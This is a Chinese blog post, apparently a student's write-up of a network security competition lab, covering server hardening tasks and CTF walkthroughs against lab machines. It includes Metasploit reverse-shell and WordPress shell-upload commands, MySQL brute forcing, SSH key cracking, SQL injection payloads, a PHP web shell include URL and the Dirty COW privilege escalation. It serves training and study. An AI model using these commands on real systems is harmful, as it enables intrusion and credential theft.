后台私信免费共享自己写的vulnhub靶场(C模块)详细WP(一切为了学习)
靶场包括:
ABD模块(含img转vmdk教程和工具,直接导入到vmware就可以使用),C模块地址:https://www.vulnhub.com/
总计:420分钟
竞赛阶段 | 任务阶段 | 竞赛任务 | 竞赛时间 | 分值 |
---|---|---|---|---|
A模块 | A-1 | 登录安全加固 | 180分钟 | 200分 |
A-2 | Web安全加固(Web) | |||
A-3 | 流量完整性保护与事件监控(Web,Log) | |||
A-4 | 防火墙策略 | |||
A-5 | Windows操作系统安全配置 | |||
A-6 | Linux操作系统安全配置 | |||
B模块 | B-1 | 系统漏洞利用与提权 | 400分 | |
B-2 | Linux操作系统渗透测试 | |||
B-3 | 应用服务漏洞扫描与利用 | |||
B-4 | SQL注入测试(PL) | |||
B-5 | 应急响应 | |||
B-6 | 流量分析 | |||
B-7 | 渗透测试 | |||
B-8 | Web渗透测试 | |||
B-9 | Windows操作系统渗透测试 | |||
B-10 | 网页渗透-21 | |||
午餐 | 午餐 | 60分钟 | 0 | |
C、D模块 | C模块 | CTF夺旗-攻击 | 180分钟 | 200分 |
D模块 | CTF夺旗-防御 | 200分 |
一、项目和任务描述:
假定你是某企业的网络安全工程师,对于企业的服务器系统,根据任务要求确保各服务正常运行,并通过综合运用登录和密码策略、流量完整性保护策略、事件监控策略、防火墙策略等多种安全策略来提升服务器系统的网络安全防御能力。
二、说明:
1.所有截图要求截图界面、字体清晰,并粘贴于相应题目要求的位置;
2.文件名命名及保存:网络安全模块A-XX(XX为工位号),PDF格式保存;
3.文件保存到U盘提交。
任务环境说明:
请对服务器Web按要求进行相应的设置,提高服务器的安全性。
1.密码策略(Web)
a.最小密码长度不少于8个字符,将密码长度最小值的属性配置界面截图;
b.密码策略必须同时满足大小写字母、数字、特殊字符,将密码必须符合复杂性要求的属性配置界面截图。
2.登录策略(Web)
a.在用户登录系统时,应该有“For authorized users only”提示信息,将登录系统时系统弹出警告信息窗口截图;
b.一分钟内仅允许5次登录失败的尝试,超过5次,登录帐号锁定1分钟,将账户锁定策略配置界面截图;
c.远程用户非活动会话连接超时应小于等于5分钟,将RDP-Tcp属性对应的配置界面截图。
3.用户安全管理(Web)
a.对服务器进行远程管理安全性SSL加固,防止敏感信息泄露被监听,将RDP-Tcp属性对应的配置界面截图;
b.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图。
任务环境说明:
1.为了防止web中.mdb数据库文件非法下载,请对Web配置文件进行安全加固,将C:\Windows\System32\inetsrv\config\applicationHost配置文件中对应的部分截图;
2.限制目录执行权限,对picture和upload目录设置执行权限为无,将编辑功能权限的配置界面截图;
3.开启IIS的日志审计记录(日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、方法),将W3C日志记录字段的配置界面截图;
4.为了减轻网站负载,设置网站最大并发连接数为1000,将编辑网站限制的配置界面截图;
5.防止文件枚举漏洞枚举网络服务器根目录文件,禁止IIS短文件名泄露,将配置命令截图;
6.关闭IIS的WebDAV功能增强网站的安全性,将警报提示信息截图。
任务环境说明:
1.为了防止密码在登录或者传输信息时被窃取,仅使用证书登录SSH(Log),将/etc/ssh/sshd_config配置文件中对应的部分截图;
2.将Web服务器开启审核策略
登录事件 成功/失败;
特权使用 成功;
策略更改 成功/失败;
进程跟踪 成功/失败;
3.配置Splunk接收Web服务器,安全日志,系统日志,CPU负载,内存,磁盘空间,网络状态。将转发器:部署成功的页面截图。
任务环境说明:
所有服务器开启防火墙,为防止勒索病毒攻击对防火墙进行加固策略:
1.Windows系统禁用445端口,将防火墙入站规则截图;
2.Linux系统禁用23端口,将iptables配置命令截图;
3.Linux系统禁止别人ping通,将iptables配置命令截图;
4.Linux系统为确保安全禁止所有人连接SSH除了172.16.1.1这个ip,将iptables配置命令截图。
任务环境说明:
请对服务器WindowsServer按要求进行相应的设置,提高服务器的安全性。
1.设置密码策略必须同时满足大小写字母、数字、特殊字符,最小密码长度不少于8个字符,密码最长使用期限为15天。将服务器上密码策略配置信息截图;
2.在用户登录系统时,应该有“For authorized users only”提示信息,将登录系统时系统弹出警告信息窗口截图;
3.一分钟内仅允许5次登录失败的尝试,超过5次,登录帐号锁定1分钟,将账号锁定策略配置信息截图;
![在这里插入图片描述](https://img-blog.csdnimg.cn/284666a9772f41f5a92efbc24f8d235c.png
4.设置远程桌面用户非活动会话连接超时应小于等于5分钟,将RDP-Tcp属性对应的配置界面截图;
5.通过SSL(TLS 1.0)加密服务器的远程桌面服务,将RDP-Tcp属性对应的配置界面截图;
6.仅允许超级管理员账号关闭系统,将关闭系统属性的配置界面截图;
7.开启IIS的日志审计记录,日志文件保存格式为W3C,只记录日期、时间、客户端IP地址、用户名、服务器端口、方法,将W3C日志记录字段的配置界面截图;
8.设置网站的最大并发连接数为1000,网站连接超时为60s,将编辑网站限制的配置界面截图;
9.禁用IIS内核缓存,避免对方利用ms15_034漏洞进行DOS攻击,出现蓝屏的现象,将编辑输出缓存设置的配置界面截图;
10.设置user1用户只能在上班时间(周一至周五的9:00~18:00)可以登录。将user1的登录时间配置界面截图。
任务环境说明:
2.设置密码复杂程度,允许重试3次,新密码必须与旧密码有4位不同,最小位数6位,大写字母至少包含2位,小写字母至少包含3位,特殊字母个数至少包含1位,将配置文件中对应的部分截图;
3.禁止匿名用户登录vsftpd服务,将配置文件中对应的部分截图;
4.设置关闭ftp-data端口不使用主动模式,使用ipv4进行监听,将配置文件中对应的部分截图;
5. 将Telnet服务的端口号修改为2323 ,查看Telnet服务端口信息,将回显结果截图;
这个环境有问题,文件路径是:vim /etc/xinetd.d/telent
6.限制Telnet用户连接,单个IP允许的最大连接数为1,总的最大连接数为10,将配置文件中对应的部分截图;
7.允许root用户通过SSH远程登录,将配置文件中对应的部分截图;
8.配置SSH服务,设置RSA证书登录,将配置文件中对应的部分截图;(不会)
9.修改网站的httpd服务为root权限,将配置文件中对应的部分截图;
10.设置HTTP服务,修改网站的配置文件,配置滚动日志按天记录网站的访问日志和错误日志,将配置文件中对应的部分截图。
任务环境说明:
通过上述端口访问靶机系统,使用弱口令进行登录,将正确的用户名和密码作为FLAG(形式:[用户名,密码])提交;
3. 利用Kali渗透机生成反弹木马,将生成木马命令执行后提示的第四行的首个单词作为FLAG(形式:[单词])提交;
4.对上述木马文件进行修改后上传到靶机系统中,使用MSF开启监听,将获得的当前权限的用户名作为FLAG(形式:[用户名])提交;
方法1:将刚才生成的木马代码复制都404.php
http://192.168.1.85:8080/wordpress/secret/wp-content/themes/twentythirteen/404.php
──(rootkali)-[/home/kali/Desktop]
└─# msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LhosT 192.168.1.63
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > show options
方法2:msf中的wp_admin_shell_upload
msf6 > search wp_admin
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost 192.168.1.85
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password 123456
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rport 8080
5.看系统内核版本信息,将系统内核版本号作为FLAG(形式:[版本号])提交;
python -c “import pty;pty.spawn(‘/bin/bash’)”
6.在Kali攻击机中查找可使用的漏洞源码,将找到的漏洞源码文件名作为FLAG(形式:[文件名])提交;
7.利用上述漏洞源码后获得到的靶机/root下的唯一.txt文件的文件名作为FLAG(形式:[文件名])提交;
拓展任务:获取用户信息
下载用户密码以及影子文件进行破解
获取到用户名以及密码: candycane password
(ps:其他的用户名和密码跑出来费时间,电脑都快炸了,就别跑了)
任务环境说明:
msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.1.86
msf6 auxiliary(scanner/mysql/mysql_login) > set username root
msf6 auxiliary(scanner/mysql/mysql_login) > set pass_file 2.txt(自制字典)
msf6 auxiliary(scanner/mysql/mysql_login) > run
拓展任务:这题出的有些小瑕疵,nc监听就是root权限,直接修改root密码后用ssh远程链接就能找到以上所有文件,修改以上两个用户密码再切换用户,就能查看文件内容!
ssh远程链接获取其中的flag值:
先修改密码:
任务环境说明:
CTF夺旗–SSH私钥信息泄漏
对于只是给定一个对应ip地址的靶场机器,我们需要对其进行扫描,探测其开放服务。我原来理解的渗透就是找到目标的漏洞,然后利用这些(这种)漏洞,最后拿到机器的最高权限;其实我的理解的有误差:渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,通过构造畸形数据包获得异常回应,根据这些异常回应从而拿到机器的最高权限。
探测到靶场,且可ping通
2.扫描已开启的服务:namp -sV ip
分析结果:每一个服务对应一个端口,端口用来通信,如果看到特殊端口(3306),对其进行深入探测。比如那种大端口(http服务端口),就可采用某些手段进行访问。
3.发现开启http服务大端口,采用形式访问:http://ip:port/
查看一下大端口号31337
返回的对应界面没有flag值。先看看页面源代码吧。发现源代码里面也没有flag值:
4.探测是否有隐藏页面:dirb http://ip:port/
看到了比较敏感的.ssh和robots.txt文件
Robots.txt:存放搜索引擎允许或者不被允许的的文件
打开每一个文件试试,找到第一个flag:
**5.**Robots.txt目前没有价值了,继续挖掘ssh信息,不断访问获取更多泄露的ssh密钥信息。
ssh 的验证:客户端公钥与服务器私钥进行对比,对比成功则验证通过,可远程登录
打开ssh文件发现里面有三个内容,所以我们应该思考这三个内容里面了是否包含了更多的内容,继续加“/”,发现全部都有内容且可下载:
公钥可以不下载,毕竟是任何人都可以访问的。
6.现在已经有了公钥和私钥,那么尝试登陆一下远程服务器
首先切换到存放这些文件的位置:
查看权限:ls -alh
查询结果:可读可写
然后开始尝试远程登录:ssh -i (私钥) 用户名@ip,在认证文件里面找到了用户名
那么就是:ssh -I id_rsa [email protected]
观察这三个点:告诉我们不能建立远程连接,只能识别,yes;644告诉我们权限不够;再一次告诉我们没有建立连接,权限拒绝。
7.可以识别但是连接无法建立,尝试提升权限:chmod 777 id_rsa
重新赋予全部权限,接下来重新登录:
需要输入连接密码,但是我们不知道密码,只有一个私钥以及认证文件。我们可以通过这两个文件,看看是否有其他信息。进一步探取私钥信息
8.进一步探取私钥信息:
解密ssh密钥信息
使用ssh2John 将id_rsa密钥信息转换为可识别的信息
解密该文件,利用字典解密isacrack信息,使用john这个工具:
文件只能开一次,下一次使用加入参数 --show
9.使用starwars密码登陆:
ssh -i (私钥) name@ip
登陆成功,看到了robots.txt文件
切到root目录下,发现有我们想要的flag文件,但是我们没有权限阅读:
这个时候的查看权限ls -al,还有提权chmod命令就不管用了。
10.提升权限,Simon只是为普通用户,我们要得到root权限,所以我们要查看哪些文件具有root权限:
find / -perm -4000 2>/dev/null
小知识:find / -perm -4000 的含义
\-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限
\-perm -0777搜索的就是最高权限的文件rwxrwxrwx
\-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
\-perm -7000搜索的就是最高权限的文件–s–s–t
\-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –t(1000}
\#从根目录开始,查找具有执行权限的文件(-perm 4000),避免错误输出(2\>/dev/null)
第二个flag出现:
这里有一段C语言代码,也有flag2,运行一下代码。
11.进一步提权,我们通过溢出,让程序执行非常规操作:
20字符/bin/sh #首先这个文件拥有root权限。后面/bin/sh将直接溢出执行。
任务环境说明:
在url后一行写入?id=79 输入79是因为id=1没有任何回显,一直猜,猜到79
注入语句:?id=79 order by 1进行列数猜测
一直猜测下去,猜到12报错,有11列
存在争议,暂时定为这个把 flag:[order by]
尝试使用联合查询的方式进行查找信息,因为这个网站是shopXP,而ShopXP的默认数据库名称叫做shopxp_admin,尝试对其进行测试,
注入语句:?id=79 union select 1,2,3,4,5,6,7,8,9,10,11 from shopxp_admin
flag:[union select]
通过第三题的sql注入语句,服务端才返回了第3、5、6、10个字段的结果。通过替换这四个位置的字段,来达到任意数据读取的目的。
sql注入语句:?id=79 union select 1,2,admin,4,password,6,7,8.9,10,11 from shopxp_admin
flag:[admin]
任务环境说明:
1.黑客通过网络攻入本地服务器,在Web服务器的主页上外挂了一个木马连接,请你找到此连接并删除该连接,将对应的标题名称作为flag值提交;
2.黑客攻入本地的数据库服务器,并添加了除admin以外的具有一个管理员权限的超级用户,将此用户的密码作为flag值提交;
(mysql 用户名:root 密码 root)
显示并调用数据库列表。
show databases;
Use mysql;
查看数据库下的表
查看所有用户信息
发现敏感用户r00t
3.黑客攻入本地服务器,在本地服务器建立了多个超级用户,请你删除除了Administrator用户以外的其他超级管理员用户,然后在命令行窗口输入net user,将Administrator右边第一个单词作为flag值提交;
4.黑客修改了服务器的启动内容,请你删除不必要的启动项程序,将该启动项程序的名称作为flag值提交;(如有多个名称之间以英文逗号分隔,例hello,test)
5.黑客在服务器某处存放了一个木马程序,请你找到此木马程序并清除木马,将木马文件名作为flag值提交。
拓展任务:远程数据库链接
1.本地mysql客户端连接mysql
mysql -u root -p
2.执行sql语句:
–使用mysql系统数据库
use mysql;
–配置所有ip可以通过root:root访问数据库
grant all privileges on *.* to ‘root’@‘%’ identified by “root”;
–从mysql数据库中的授权表重新载入权限
flush privileges;
任务环境说明:
任务拓展 分析attack流量包(该包放在共享云盘里面了!)
流量分析题库:https://www.malware-traffic-analysis.net/training-exercises.html
1. 使用 Wireshark 查看并分析虚拟机 windows 7 桌面下的 attack.pcapng 数据包文件,通 过分析数据包 attack.pcapng 找出黑客的 IP 地址,并将黑客的 IP 地址作为 FLAG(形式:[IP 地址])提交:
tcp.connection.syn
通过分析端口,因为黑客都是扫描常用端口的
Flag:[172.16.1.102]
2. 继续查看数据包文件 attack.pacapng,分析出黑客扫描了哪些端口,并将全部的端口作 为 FLAG(形式:[端口名 1,端口名 2,端口名 3…,端口名 n])从低到高提交:
tcp.connection.syn and ip.src==172.16.1.102
Flag:[21,23,80,445,3389,5007]
3. 继续查看数据包文件 attack.pacapng 分析出黑客最终获得的用户名是什么,并将用户 名作为 FLAG(形式:[用户名])提交:
http.request.method==POST
Flag:[Lancelot]
4. 继续查看数据包文件 attack.pacapng 分析出黑客最终获得的密码是什么,并将密码作 为 FLAG(形式:[密码])提交:
http.request.method==POST
flag:[12369874]
5. 继续查看数据包文件 attack.pacapng 分析出黑客连接一句话木马的密码是什么,并将 一句话密码作为 FLAG(形式:[一句话密码])提交:
Ctrl+f 输入eval
Flag:[alpha]
6. 继续查看数据包文件 attack.pacapng 分析出黑客下载了什么文件,并将文件名及后缀 作为 FLAG(形式:[文件名.后缀名])提交:
http.request.method==POST
flag:[flag.zip]
7. 继续查看数据包文件 attack.pacapng 提取出黑客下载的文件,并将文件里面的内容为 FLAG(形式:[文件内容])提交:
binwalk -eM attack.pcapng
或者追踪数据流并另存为zip文件
该文件伪加密,用winhex修改504b0102第9和第10位为00
flag:[ flag{Manners maketh man}]
任务环境说明:
445端口是smb服务的默认端口号,所以可能存在永恒之蓝
注意!:kali2022千万别输入这个,知道有这个命令就行,不然msf会打不开!
注意!:kali2022千万别输入这个,知道有这个命令就行,不然msf会打不开!
注意!:kali2022千万别输入这个,知道有这个命令就行,不然msf会打不开!
或者 远程桌面链接
任务环境说明:
准备任务:敏感信息挖掘
使用ARCHPR破解工具
使用crunch生成我们想要的字典
这里的8 8 代表最小长度和最大长度
-t 表示后面的%为数字
%占位符 表示0-9这些数字
这个包看出之前被sqlmap跑过
使用sqlmap 跑库
注意:如果发现暴库卡着不动了,应该是靶场宕机了,需要重新启动靶场
制作一个图片马
Flag:文件上传成功,点击预览
拓展 任务:脏牛提权
dirtycow的下载地址:https://github.com/FireFart/dirtycow
将下载下来的dirty.c传给目标主机,先进行编译,命令比较简单:
生成一个php木马程序
https://192.168.1.95/system_wws/include.php?file=uploads/shell.php
命令中的-o参数表示生成的文件名称
gcc -pthread dirty.c -o dirty -lcrypt
执行编译出来的文件:
# 后面传递一个密码,密码不要太简单,账户名默认为firefart
./dirty aabb@123
然后就可以用新账户登录了:
su firefart
然后服务器崩了! 重启试着登录一下呢?
算了,提权失败,以后有空再琢磨!
任务环境说明:
任务环境说明:
http://192.168.1.98/5/index.php?id=2' oorr 1=1--+
(三)模块C CTF夺旗-攻击
(本模块200分)
一、项目和任务描述:
假定你是某企业的网络安全渗透测试工程师,负责企业某些服务器的安全防护,为了更好的寻找企业网络中可能存在的各种问题和漏洞。你尝试利用各种攻击手段,攻击特定靶机,以便了解最新的攻击手段和技术,了解网络黑客的心态,从而改善您的防御策略。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录答题平台。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
靶机服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.靶机服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.靶机服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.靶机服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
2.flag值为每台靶机服务器的唯一性标识,每台靶机服务器仅有1个;
3.选手攻入靶机后不得对靶机进行关闭端口、修改密码、重启或者关闭靶机、删除或者修改flag、建立不必要的文件等操作;
4.在登录自动评分系统后,提交靶机服务器的flag值,同时需要指定靶机服务器的IP地址;
5.赛场根据难度不同设有不同基础分值的靶机,对于每个靶机服务器,前三个获得flag值的参赛队在基础分上进行加分,本阶段每个队伍的总分均计入阶段得分,具体加分规则参照赛场评分标准;
6.本环节不予补时。
(本模块200分)
一、项目和任务描述:
假定各位选手是某安全企业的网络安全工程师,负责若干服务器的渗透测试与安全防护,这些服务器可能存在着各种问题和漏洞。你需要尽快对这些服务器进行渗透测试与安全防护。每个参赛队拥有专属的堡垒机服务器,其他队不能访问。参赛选手通过扫描、渗透测试等手段检测自己堡垒服务器中存在的安全缺陷,进行针对性加固,从而提升系统的安全防御性能。
请根据《赛场参数表》提供的信息,在客户端使用谷歌浏览器登录答题平台。
二、操作系统环境说明:
客户机操作系统:Windows 10/Windows7
堡垒服务器操作系统:Linux/Windows
三、漏洞情况说明:
1.堡垒服务器中的漏洞可能是常规漏洞也可能是系统漏洞;
2.堡垒服务器上的网站可能存在命令注入的漏洞,要求选手找到命令注入的相关漏洞,利用此漏洞获取一定权限;
3.堡垒服务器上的网站可能存在文件上传漏洞,要求选手找到文件上传的相关漏洞,利用此漏洞获取一定权限;
4.堡垒服务器上的网站可能存在文件包含漏洞,要求选手找到文件包含的相关漏洞,与别的漏洞相结合获取一定权限并进行提权;
5.操作系统提供的服务可能包含了远程代码执行的漏洞,要求用户找到远程代码执行的服务,并利用此漏洞获取系统权限;
6.操作系统提供的服务可能包含了缓冲区溢出漏洞,要求用户找到缓冲区溢出漏洞的服务,并利用此漏洞获取系统权限;
7.操作系统中可能存在一些系统后门,选手可以找到此后门,并利用预留的后门直接获取到系统权限。
四、注意事项:
1.每位选手需要对加固点和加固过程截图,并自行制作系统防御实施报告,最终评分以实施报告为准;
2.系统加固时需要保证堡垒服务器对外提供服务的可用性;
3.不能对裁判服务器进行攻击,警告一次后若继续攻击将判令该参赛队离场;
4.本环节不予补时。
二、说明:
1.所有截图要求截图界面、字体清晰;
2.文件名命名及保存:网络安全模块D-XX(XX为工位号),PDF格式保存;
3.文件保存到U盘提交。